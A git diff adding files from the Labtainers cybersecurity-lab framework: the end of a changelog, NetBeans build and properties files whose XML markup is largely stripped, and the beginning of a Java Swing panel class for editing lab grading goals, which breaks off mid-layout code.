ctrl-C +to break monitored programs and the display of passwords in telnet and ssh. +- Include support for saki bulk\_download zip processing to extract seperatly submitted +reports, and summarizes missing submits. +- Add checks to user-provided email to ensure they are printable characters. +- While grading, if user-supplied email does not match zip file name, proceed to grade +the results, but include note in the table reflecting *cheating*. Require to recover from +cases where student enters garbage for an email address. +- Change telnetlab grading to not look at tcpdump output for passwords -- capinout fix +leads to correct character-at-a-time transmission to server. +- Fix typo in install-docker.sh and use sudo to alter docker dns setting in that script. + +April 26, 2018 +- Transition to use of "labtainer" to start lab, and "stoplab" to stop it. +- Add --version option to labtainer command. +- Add log\_ts and log\_range result types, and time\_not\_during goal operators. +Revamp the centos-log and sys-log grading to use these features. +- Put labsys.tar into /var/tmp instead of /tmp, sometimes would get deleted before expanded +- Running X applications as root fails after reboot of VM. +- Add "User Command" man pages to CentOS based labs +- Fix recent bug that prevented collection of docs files from students +- Modify smoke-tests to only compare student-specific result line, void of whitespace + +April 20, 2018 +- The denyhosts service fails to start the first time, moved start to student\_startup.sh. +- Move all faux\_init services until after parameterization -- rsyslog was failing to start +on second boot of container. +April 19, 2018 +- The acl lab failed to properly assess performance of the trojan horse step. +- Collect student documents by default. +- The denyhost lab changed to reflect that denyhosts (or tcp wrappers?) now +modifies iptables. Also, the denyhosts service was failing to start on some occasions. +- When updating Labtainers, do not overwrite files that are newer than those + in the archive -- preserve student lab reports. + +April 12, 2018 + +- Add documentation for the purpose of lab goals, and display this for the instructor + when the instructor starts a lab. +- Correct use of the precheck function when the program is in treataslocal, pass capintout.sh + the full program path. +- Copy instr_config files at run time rather than during image build. +- Add Designer Guide section on debugging automated assessment. +- Incorrect case in lab report file names. +- Unncessary chown function caused instructor.py to sometimes crash. +- Support for automated testing of labs (see SimLab and smoketest). +- Move testsets and distrib under trunk + +April 5, 2018 + +- Revise Firefox profile to remove "you've not use firefox in a while..." message. +- Remove unnessary pulls from registry -- get image dates via docker hub API instead. + +March 28, 2018 + +- Use explicit tar instead of "docker cp" for system files (Docker does + not follow links.) +- Fix backups lab use separate file system and update the manual. + +March 26, 2018 + +- Support for multi-user modes (see Lab Designer User Guide). +- Removed build dependency on the lab_bin and lab_sys files. Those are now copied + during parameterization of the lab. +- Move capinout.sh to /sbin so it can be found when running as root. + +March 21, 2018 + +- Add CLONE to permit multiple instances of the same container, e.g., for + labs shared by multiple concurrent students. +- Adapt kali-test lab to provide example of macvlan and CLONE +- Copy the capinout.sh script to /sbin so root can find it after a sudo su. + +March 15, 2018 + +- Support macvlan networks for communications with external hosts +- Add a Kali linux base, and a Metasploitable 2 image (see kali-test) + +March 8, 2018 + +- Do not require labname when using stop.py +- Catch errors caused by stray networks and advise user on a fix +- Add support for use of local apt & yum repos at NPS + +February 21, 2018 + +- Add dmz-lab +- Change "checklocal" to "precheck", reflecting it runs prior to the command. +- Decouple inotify event reporting from use of precheck.sh, allow inotify + event lists to include optional outputfile name. +- Extend bash hook to root operations, flush that bash_history. +- Allow parameterization of start.config fields, e.g., for random IP addresses +- Support monitoring of services started via systemctl or /etc/init.d +- Introduce time delimeter qualifiers to organize a timestamped log file into + ranges delimited by some configuration change of interest (see dmz-lab) + +February 5, 2018 + +- Boolean values from results.config files are now treated as goal values +- Add regular expression support for identifying artifact results. +- Support for alternate Docker registries, including a local test registry for testing +- Msc fixes to labs and lab manuals +- The capinout monitoring hook was not killing child processes on exit. +- Kill monitored processes before collecting artifacts +- Add labtainer.wireshark as a baseline container, clean up dockerfiles + +January 30, 2018 + +- Add snort lab +- Integrate log file timestamps, e.g., from syslogs, into timestamped results. +- Remove undefined result values from intermediate timestamped json result files. +- Alter the time_during goal assessment operation to associate timestamps with + the resulting goal value. + +January 24, 2018 + +- Use of tabbed windows caused instructor side to fail, use of double quotes. +- Ignore files in \_tar directories (other than .tar) when determining build + dependencies. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/build.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/build.xml new file mode 100644 index 000000000..91517e999 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/build.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + Builds, tests, and runs the project GoalsUI_Sep13. + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/manifest.mf b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/manifest.mf new file mode 100644 index 000000000..1574df4a2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/manifest.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +X-COMMENT: Main-Class will be added automatically by build + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/build-impl.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/build-impl.xml new file mode 100644 index 000000000..5497c9c60 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/build-impl.xml @@ -0,0 +1,1420 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + No tests executed. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set JVM to use for profiling in profiler.info.jvm + Must set profiler agent JVM arguments in profiler.info.jvmargs.agent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + Must select one file in the IDE or set profile.class + This target only works when run from inside the NetBeans IDE. + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + This target only works when run from inside the NetBeans IDE. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + + + Must select some files in the IDE or set test.includes + + + + + Must select one file in the IDE or set run.class + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + Must select some files in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + Must select one file in the IDE or set test.class + Must select some method in the IDE or set test.method + + + + + + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + Must select one file in the IDE or set applet.url + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/genfiles.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/genfiles.properties new file mode 100644 index 000000000..bee36be94 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/genfiles.properties @@ -0,0 +1,8 @@ +build.xml.data.CRC32=eec53d04 +build.xml.script.CRC32=e676bb1d +build.xml.stylesheet.CRC32=8064a381@1.80.1.48 +# This file is used by a NetBeans-based IDE to track changes in generated files such as build-impl.xml. +# Do not edit this file. You may delete it but then the IDE will never regenerate such files for you. +nbproject/build-impl.xml.data.CRC32=eec53d04 +nbproject/build-impl.xml.script.CRC32=4d702800 +nbproject/build-impl.xml.stylesheet.CRC32=830a3534@1.80.1.48 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/private/private.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/private/private.properties new file mode 100644 index 000000000..9436b19f6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/private/private.properties @@ -0,0 +1,2 @@ +compile.on.save=true +user.properties.file=C:\\Users\\Dan\\AppData\\Roaming\\NetBeans\\8.2\\build.properties diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.properties b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.properties new file mode 100644 index 000000000..73526481e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.properties @@ -0,0 +1,75 @@ +annotation.processing.enabled=true +annotation.processing.enabled.in.editor=false +annotation.processing.processor.options= +annotation.processing.processors.list= +annotation.processing.run.all.processors=true +annotation.processing.source.output=${build.generated.sources.dir}/ap-source-output +build.classes.dir=${build.dir}/classes +build.classes.excludes=**/*.java,**/*.form +# This directory is removed when the project is cleaned: +build.dir=build +build.generated.dir=${build.dir}/generated +build.generated.sources.dir=${build.dir}/generated-sources +# Only compile against the classpath explicitly listed here: +build.sysclasspath=ignore +build.test.classes.dir=${build.dir}/test/classes +build.test.results.dir=${build.dir}/test/results +# Uncomment to specify the preferred debugger connection transport: +#debug.transport=dt_socket +debug.classpath=\ + ${run.classpath} +debug.test.classpath=\ + ${run.test.classpath} +# Files in build.classes.dir which should be excluded from distribution jar +dist.archive.excludes= +# This directory is removed when the project is cleaned: +dist.dir=dist +dist.jar=${dist.dir}/GoalsUI_Sep13.jar +dist.javadoc.dir=${dist.dir}/javadoc +excludes= +includes=** +jar.compress=false +javac.classpath=\ + ${libs.absolutelayout.classpath} +# Space-separated list of extra javac options +javac.compilerargs= +javac.deprecation=false +javac.external.vm=true +javac.processorpath=\ + ${javac.classpath} +javac.source=1.8 +javac.target=1.8 +javac.test.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +javac.test.processorpath=\ + ${javac.test.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding=${source.encoding} +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle= +main.class=GoalsUI.GoalsUI +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +mkdist.disabled=false +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +# Space-separated list of JVM arguments used when running the project. +# You may also define separate properties like run-sys-prop.name=value instead of -Dname=value. +# To set system properties for unit tests define test-sys-prop.name=value: +run.jvmargs= +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +source.encoding=UTF-8 +src.dir=src +test.src.dir=test diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.xml new file mode 100644 index 000000000..a1ebdf5c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/nbproject/project.xml @@ -0,0 +1,15 @@ + + + org.netbeans.modules.java.j2seproject + + + GoalsUI_Sep13 + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.form new file mode 100644 index 000000000..f3f16c0b9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.form @@ -0,0 +1,422 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.java new file mode 100644 index 000000000..43a39f334 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalPanels.java @@ -0,0 +1,713 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ +package GoalsUI; + +import static GoalsUI.ParamReferenceStorage.GoalType_ITEMS; +import static GoalsUI.ParamReferenceStorage.Operator_ITEMS; +import static GoalsUI.ParamReferenceStorage.answerTypes; +import static GoalsUI.ParamReferenceStorage.goalInput; +import static GoalsUI.ParamReferenceStorage.opInput; +import static GoalsUI.ParamReferenceStorage.resultTagInput; +import GoalsUI.ToolTipHandlers.ToolTipWrapper; +import static GoalsUI.ToolTipHandlers.setComboItems; +import java.awt.Dimension; +import java.util.List; +import javax.swing.DefaultComboBoxModel; +import javax.swing.JComboBox; +import javax.swing.JPanel; +import javax.swing.JTextField; + +/** + * + * @author Dan + */ + +//NOTE: Previous Matchany ComboBox has not been implemented at all- 9/13/17 + + + +public class GoalPanels extends javax.swing.JPanel { + static Dimension dim = new Dimension(975, 100); + private GoalsUI goalsUI; + private int rowNum; + + private List resultTags; + private List parameterIDs; + private List booleanResultTags; + + //Creating fresh goal line + public GoalPanels(GoalsUI ui, GoalsData dataUI) { + initiateGoalPanel(ui, dataUI, dataUI.getRowCount()); + this.revalidate(); + this.repaint(); + } + + //Loading goal line + public GoalPanels(GoalsUI ui, GoalsData dataUI, GoalValues goalVal, int rowNum) { + initiateGoalPanel(ui, dataUI, rowNum); + + //Set Values + setGoalIDTextField(goalVal.goalID); + + setGoalTypeComboBox(goalVal.goalType); + + setOperatorComboBox(goalVal.operator); + + setExecutableFileTextField(goalVal.executableFile); + + setResultTagComboBox(goalVal.resultTag); + + setArithmeticResultTagTextField(goalVal.resultTag); + + setAnswerTypeComboBox(goalVal.answerType); + + if(goalVal.answerType.equals(answerTypes[0])) //Literal + setAnswerTagTextField(goalVal.answerTag); + else if(goalVal.answerType.equals(answerTypes[1])) //Result Tag + setResultTag2ComboBox(goalVal.answerTag); + else //Parameter & Parameter_ASCII + setParameterComboBox(goalVal.answerTag); + + setBooleanTextField(goalVal.booleanExp); + + setGoal1TextField(goalVal.goal1); + + setGoal2TextField(goalVal.goal2); + + setValueTextField(goalVal.value); + + setSubgoalTextField(goalVal.subgoalList); + + this.revalidate(); + this.repaint(); + + } + + //Use for loading a line + private void initiateGoalPanel(GoalsUI ui, GoalsData dataUI, int rowNum){ + initComponents(); + this.goalsUI = ui; + this.rowNum = rowNum; + + resultTags = dataUI.getResultTagList(); + parameterIDs = dataUI.getParameters(); + booleanResultTags = dataUI.getBooleanResults(); + + rowLabel.setText(Integer.toString(rowNum)); + + //Set initial field visibility. Defaults to [operator : resultTag : answerTag] + AnswerTagTextField.setVisible(true); + ResultTag2ComboBox.setVisible(false); + ParameterComboBox.setVisible(false); + ArithmeticResultTagTextField.setVisible(false); + BooleanTextField.setVisible(false); + ExecutableFileTextField.setVisible(false); + Goal1TextField.setVisible(false); + Goal2TextField.setVisible(false); + ResultTagComboBox.setVisible(false); + SubgoalTextField.setVisible(false); + ValueTextField.setVisible(false); + BooleanResultTagsComboBox.setVisible(false); + PreviousMatchanyComboBox.setVisible(false); + + + //Load ComboBox Items + setComboItems(GoalTypeComboBox, GoalType_ITEMS); + setComboItems(OperatorComboBox, Operator_ITEMS); + + + + ResultTagComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(resultTags.toArray(new String[resultTags.size()]))); + AnswerTypeComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(answerTypes)); + if(parameterIDs.isEmpty()){ + AnswerTypeComboBox.removeItem(answerTypes[2]); + AnswerTypeComboBox.removeItem(answerTypes[3]); + } + else + ParameterComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(parameterIDs.toArray(new String[parameterIDs.size()]))); + + ResultTag2ComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(resultTags.toArray(new String[resultTags.size()]))); + BooleanResultTagsComboBox.setModel(new javax.swing.DefaultComboBoxModel<>(booleanResultTags.toArray(new String[booleanResultTags.size()]))); + } + + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + ArtifactPanel = new javax.swing.JPanel(); + GoalIDTextField = new javax.swing.JTextField(); + GoalTypeComboBox = new javax.swing.JComboBox<>(); + OperatorComboBox = new javax.swing.JComboBox<>(); + AnswerTagTextField = new javax.swing.JTextField(); + BooleanTextField = new javax.swing.JTextField(); + Goal1TextField = new javax.swing.JTextField(); + Goal2TextField = new javax.swing.JTextField(); + ValueTextField = new javax.swing.JTextField(); + SubgoalTextField = new javax.swing.JTextField(); + ResultTagComboBox = new javax.swing.JComboBox<>(); + ExecutableFileTextField = new javax.swing.JTextField(); + ArithmeticResultTagTextField = new javax.swing.JTextField(); + AnswerTypeComboBox = new javax.swing.JComboBox<>(); + ResultTag2ComboBox = new javax.swing.JComboBox<>(); + ParameterComboBox = new javax.swing.JComboBox<>(); + BooleanResultTagsComboBox = new javax.swing.JComboBox<>(); + PreviousMatchanyComboBox = new javax.swing.JComboBox<>(); + DeleteButton = new javax.swing.JButton(); + rowLabel = new javax.swing.JLabel(); + UpButton = new javax.swing.JButton(); + DownButton = new javax.swing.JButton(); + + setPreferredSize(new java.awt.Dimension(1110, 69)); + + ArtifactPanel.setBorder(new javax.swing.border.SoftBevelBorder(javax.swing.border.BevelBorder.RAISED)); + ArtifactPanel.setMinimumSize(new java.awt.Dimension(1400, 0)); + ArtifactPanel.setPreferredSize(new java.awt.Dimension(1300, 34)); + + GoalTypeComboBox.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + goalTypeItemChanged(evt); + } + }); + + OperatorComboBox.setToolTipText("Identifies how the line is to be identified"); + OperatorComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Operator")); + + AnswerTagTextField.setToolTipText("Parameter based on Line Type"); + AnswerTagTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "AnswerTag")); + + BooleanTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Boolean")); + + Goal1TextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Goal 1")); + + Goal2TextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Goal 2")); + + ValueTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Value")); + + SubgoalTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Subgoal List")); + + ResultTagComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Result Tag")); + + ExecutableFileTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Executable File")); + + ArithmeticResultTagTextField.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Arithmetic Result Tag")); + + AnswerTypeComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Answer Type")); + AnswerTypeComboBox.addItemListener(new java.awt.event.ItemListener() { + public void itemStateChanged(java.awt.event.ItemEvent evt) { + AnswerTypeComboBoxItemStateChanged(evt); + } + }); + + BooleanResultTagsComboBox.setBorder(javax.swing.BorderFactory.createTitledBorder(javax.swing.BorderFactory.createEtchedBorder(), "Boolean Result Tags")); + + javax.swing.GroupLayout ArtifactPanelLayout = new javax.swing.GroupLayout(ArtifactPanel); + ArtifactPanel.setLayout(ArtifactPanelLayout); + ArtifactPanelLayout.setHorizontalGroup( + ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(ArtifactPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(GoalIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 125, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(GoalTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 147, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(OperatorComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 139, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ExecutableFileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 143, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ResultTagComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 168, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(2, 2, 2) + .addComponent(ArithmeticResultTagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 179, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(AnswerTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 150, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(AnswerTagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 193, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ResultTag2ComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 155, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ParameterComboBox, 0, 150, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(BooleanTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 404, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(ValueTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 110, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(SubgoalTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 643, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(Goal1TextField, javax.swing.GroupLayout.PREFERRED_SIZE, 185, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(Goal2TextField, javax.swing.GroupLayout.PREFERRED_SIZE, 126, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(BooleanResultTagsComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, 162, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(PreviousMatchanyComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {Goal1TextField, Goal2TextField}); + + ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {ParameterComboBox, ResultTag2ComboBox}); + + ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.HORIZONTAL, new java.awt.Component[] {BooleanResultTagsComboBox, PreviousMatchanyComboBox}); + + ArtifactPanelLayout.setVerticalGroup( + ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, ArtifactPanelLayout.createSequentialGroup() + .addGap(14, 14, 14) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(ValueTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(SubgoalTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(Goal2TextField, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(GoalIDTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(GoalTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(BooleanTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(Goal1TextField, javax.swing.GroupLayout.PREFERRED_SIZE, 41, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(ArtifactPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(OperatorComboBox) + .addComponent(ExecutableFileTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 44, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(ResultTagComboBox) + .addComponent(ArithmeticResultTagTextField) + .addComponent(AnswerTypeComboBox, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(AnswerTagTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(ResultTag2ComboBox, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(ParameterComboBox, javax.swing.GroupLayout.Alignment.TRAILING)) + .addComponent(BooleanResultTagsComboBox) + .addComponent(PreviousMatchanyComboBox)) + .addGap(83, 83, 83)) + ); + + ArtifactPanelLayout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {Goal1TextField, Goal2TextField, SubgoalTextField, 